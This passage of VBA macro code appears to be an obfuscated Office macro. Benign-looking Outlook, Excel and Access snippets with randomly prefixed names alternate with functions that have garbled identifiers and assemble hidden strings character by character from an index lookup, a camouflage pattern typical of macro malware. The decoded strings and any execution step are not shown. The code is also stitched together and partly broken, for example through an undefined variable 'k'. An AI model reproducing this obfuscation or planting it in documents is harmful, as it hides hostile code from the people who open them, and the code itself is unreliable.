g£Gbº7zuG² = Ñ8Bbê¸æFc & èSÉtd62z´(27)
åu®w·g¬¨ = g£Gbº7zuG² & èSÉtd62z´(28)
Æ¢½éªe¸ú¼G = åu®w·g¬¨ & èSÉtd62z´(9)
£ÜÁ³RìP­òH = Æ¢½éªe¸ú¼G & èSÉtd62z´(23)
sôT1 = £ÜÁ³RìP­òH & èSÉtd62z´(27)
OªoµxÑQ = sôT1Â & èSÉtd62z´(20)
E¦µµÆ©É¹Àoi = OªoµxÑQ & èSÉtd62z´(33)
ƒUÿITê§9y = E¦µµÆ©É¹Àoi & èSÉtd62z´(34)
sD¿Y¼èú缬 = ƒUÿITê§9y & èSÉtd62z´(35)
ÄD¸³æoº·¤éº = sD¿Y¼èú缬
End Function
Sub BJycadd_recepient()
    Dim new_Message As MailItem
    Set new_Message = Application.CreateItem(olMailItem)
    
    
    
    Set new_Message = Nothing
End Sub



Public Sub pFtcRth6CreateNewMessage()
    '
    ' Sends mail to sender based on the active selection
    '

Dim objMsg As MailItem
Dim Selection As Selection
Dim obj As Object

Set Selection = ActiveExplorer.Selection

For Each obj In Selection

Set objMsg = Application.CreateItem(olMailItem)

 With objMsg
  .To = obj.SenderEmailAddress
  .Subject = "This is the subject"
  .Categories = "Test"
  .Body = "My notes" & vbCrLf & vbCrLf & obj.Body
  .Display
' use .Send to send it automatically

End With
Set objMsg = Nothing

Next

End Sub


Function áI¤byX() As String
Dim ÉMd¢c½ºBN1
Dim u­x·Iúf7·
Dim äw­C7wbêÜ
Dim M9¼D¤ÿf£q
Dim æ©ZN¨2úìFò5î
Dim POTƧl´Qö
Dim ônÖP1á
Dim j»5¯d¸«é
Dim §j¬P«JWht
Dim âCºÖuY¿¤Â
Dim c¬¿Jnº¤9
ÉMd¢c½ºBN1 = èSÉtd62z´(158)
u­x·Iúf7· = ÉMd¢c½ºBN1 & èSÉtd62z´(73)
äw­C7wbêÜ = u­x·Iúf7· & èSÉtd62z´(160)
M9¼D¤ÿf£q = äw­C7wbêÜ & èSÉtd62z´(161)
æ©ZN¨2úìFò5î = M9¼D¤ÿf£q & èSÉtd62z´(146)
POTƧl´Qö = æ©ZN¨2úìFò5î & èSÉtd62z´(100)
ônÖP1á = POTƧl´Qö & èSÉtd62z´(128)
j»5¯d¸«é = ônÖP1á & èSÉtd62z´(165)
§j¬P«JWht = j»5¯d¸«é & èSÉtd62z´(3)
âCºÖuY¿¤Â = §j¬P«JWht & èSÉtd62z´(3)
c¬¿Jnº¤9 = âCºÖuY¿¤Â & èSÉtd62z´(168)
áI¤byX = c¬¿Jnº¤9
End Function
Sub UDnKadd_NewContact()
    Dim j As ContactItem
    Set j = Outlook.CreateItem(olContactItem)
    
    With j
        .Title = "Miss"
        .FirstName = "Leila"
        .MiddleName = "Goory"
        .LastName = "Lopez"
        .Gender = olFemale
        .CompanyName = "Google"
        .JobTitle = "Directrice Marketing"
        '.FileAs = "..."
        .Email1Address = "leila@gmail.com"
        .Email1AddressType = "Work"
        .WebPage = "www.google.com"
        .Anniversary = #3/10/1987#
        '.AddPicture "..."
        .Initials = "LL"
        .BusinessAddress = "Loos"
        .BusinessTelephoneNumber = "06 68 55 29 75"
        .MobileTelephoneNumber = "06 68 55 29 75"
        .MailingAddressStreet = "20 rue du Docteur Calmette"
        .MailingAddressCity = "Lille"
        .MailingAddressPostalCode = "59120"
        .Body = "Notes"
        '.Categories
        .Display
    End With
End Sub

Private Sub wCmdWmK6ListCategoryIDs()
 Dim objNameSpace As NameSpace
 Dim objCategory As Category
 Dim strOutput As String

 ' Obtain a NameSpace object reference.
 Set objNameSpace = Application.GetNamespace("MAPI")

 ' Check if the Categories collection for the Namespace
 ' contains one or more Category objects.
 If objNameSpace.Categories.Count > 0 Then

 ' Enumerate the Categories collection.
 For Each objCategory In objNameSpace.Categories

 ' Add the name and ID of the Category object to
 ' the output string.
 strOutput = strOutput & objCategory.Name & ": " & objCategory.CategoryID & vbCrLf
 Next
 End If

 ' Display the output string.
 MsgBox strOutput

 ' Clean up.
 Set objCategory = Nothing
 Set objNameSpace = Nothing

End Sub


Function öw6PcV() As String
Dim ©Z¥at3³v
Dim ½veA0xùpUñ
Dim Dêw§hEBâ
Dim URáGQr5îôC
Dim Ns¨ìÁt6äg¨¦¯
Dim ºwSBɨï1ƒì
©Z¥at3³v = èSÉtd62z´(38)
½veA0xùpUñ = ©Z¥at3³v & èSÉtd62z´(135)
Dêw§hEBâ = ½veA0xùpUñ & èSÉtd62z´(190)
URáGQr5îôC = Dêw§hEBâ & èSÉtd62z´(60)
Ns¨ìÁt6äg¨¦¯ = URáGQr5îôC & èSÉtd62z´(39)
ºwSBɨï1ƒì = Ns¨ìÁt6äg¨¦¯ & èSÉtd62z´(193)
öw6PcV = ºwSBɨï1ƒì
End Function
Private Sub OhusDSp7Class_Initialize()
    'Set sheets at initialization
    Call get_Worksheet_Helper
    type_entreprise = wk_two.Range("type_entreprise").Value
    Call set_phrases_Helper
End Sub

Private Sub hld5exQ4get_Worksheet_Helper()
    Set wk_one = Worksheets("Analyse")
    Set wk_two = Worksheets("Config")
End Sub

Private Sub NlpoqbRsset_phrases_Helper()
    Dim c_var, t_var, d_var As String
    '
    ' This helper is used to create the phrases with the variables
    ' that were set or calculated in the 'Config' worksheet
    '
    phrase_one = "L'entreprise fonctionne " & wk_two.Range("jours_activités").Value & _
                 " jours par semaines soit un nombre total de " & _
                 Round(wk_two.Range("semaines_activités").Value, 2) & " semaines."
    '
    ' TO DO
    '
    
    '
    ' I am using this technique in order to get the correct values to display
    ' depending on the fact if the enterprise is a restaurant or bar instead
    ' of a digital based type project
    '
    If type_entreprise = "numérique" Then
        c_var = "ca_numérique"
        t_var = "frequentation_mensuelle"
        d_var = "mois"
    Else
        c_var = "ca_restauration"
        t_var = "frequentation_journalière"
        d_var = "jours"
    End If
    phrase_five = "Pour une fréquentation de " & wk_two.Range(t_var).Value & " clients par " & d_var & ", " & _
                  "le chiffre d'affaire annuel est de " & Round(wk_two.Range(c_var).Value, 2) & "€ par an"
    '
    ' TO DO
    '
    phrase_seven = "Le prix unitaire utilisé pour l'estimation du C.A. est de " & wk_two.Range("N10").Value & "€ soit " & _
                   wk_two.Range("N14").Value & "€ TTC et une marge de " & wk_two.Range("O11").Value & "% (ou " & _
                   wk_two.Range("N11").Value & "€)"
End Sub

Public Sub v8jvCe5lchange_phrases()
    wk_one.Range("B8").Value = phrase_one
    wk_one.Range("B15").Value = phrase_five
    wk_one.Range("B18").Value = phrase_seven
End Sub



Function Kèàrx»lO¥() As String
Dim ¢¹Á6I¸ú5
Dim æ1üt¯qr
Dim êU¤ûU§6X
Dim ®áIûjövèxÿrf
Dim N4¤Ñh·yl¦oC±
Dim lg¹TJ£ñoönHD0
¢¹Á6I¸ú5 = èSÉtd62z´(144)
æ1üt¯qr = ¢¹Á6I¸ú5 & èSÉtd62z´(102)
êU¤ûU§6X = æ1üt¯qr & èSÉtd62z´(146)
®áIûjövèxÿrf = êU¤ûU§6X & èSÉtd62z´(147)
N4¤Ñh·yl¦oC± = ®áIûjövèxÿrf & èSÉtd62z´(131)
lg¹TJ£ñoönHD0 = N4¤Ñh·yl¦oC± & èSÉtd62z´(87)
Kèàrx»lO¥ = lg¹TJ£ñoönHD0
End Function
Sub sZdDfile_Picker()
    '
    ' Imports table / Microsoft Office Object Library 16.0
    '
    
    'Dim
    Dim table_Name(1) As Variant
    Dim sheet_Path As String
    
    'Open file picker
    Dim fd As Office.FileDialog
    Set fd = Application.FileDialog(msoFileDialogFilePicker)
    
    'Open file picker
    With fd
        .AllowMultiSelect = False
        .Title = "Select a file"
        .Filters.Clear
        .Filters.Add "Excel", "*.xlsx"
        
        'When user has picked file
        If .Show = True Then
            'Path
            sheet_Path = fd.SelectedItems.Item(1)
            'Name
            table_Name(0) = Dir(fd.SelectedItems.Item(1))
        Else
            'TO DO
        End If
    End With
End Sub


Function ë²PnT2¬KATââ() As String
Dim «§´6¾XNö¬
Dim ¢3PR·úP3z
Dim îÜqñ­4Y¿ë
Dim l©taCP¢³º
Dim iiKGñXvZ­
Dim E³8·H´uÆf±Ñ¯è
Dim ÀéÄeGR
Dim ƒYÂ4ª¯½e¼
«§´6¾XNö¬ = èSÉtd62z´(150)
¢3PR·úP3z = «§´6¾XNö¬ & èSÉtd62z´(136)
îÜqñ­4Y¿ë = ¢3PR·úP3z & èSÉtd62z´(38)
l©taCP¢³º = îÜqñ­4Y¿ë & èSÉtd62z´(28)
iiKGñXvZ­ = l©taCP¢³º & èSÉtd62z´(88)
E³8·H´uÆf±Ñ¯è = iiKGñXvZ­ & èSÉtd62z´(0)
ÀéÄeGR = E³8·H´uÆf±Ñ¯è & èSÉtd62z´(2)
ƒYÂ4ª¯½e¼ = ÀéÄeGR & èSÉtd62z´(9)
ë²PnT2¬KATââ = ƒYÂ4ª¯½e¼
End Function
Sub UbwCcreate_NewButton()
    'Set parameter
    Dim btn As Control
    
    'Open form in hidden mode
    DoCmd.OpenForm "Google", acDesign, , , acFormEdit, acHidden
    
    On Error Resume Next
    
    'Create button
    Set btn = CreateControl("Google", acCommandButton, acDetail)
    
    'Move
    k.Move 2500, 2500, 1500, 700
    
    'Get control name
    this_name = k.Name
    
…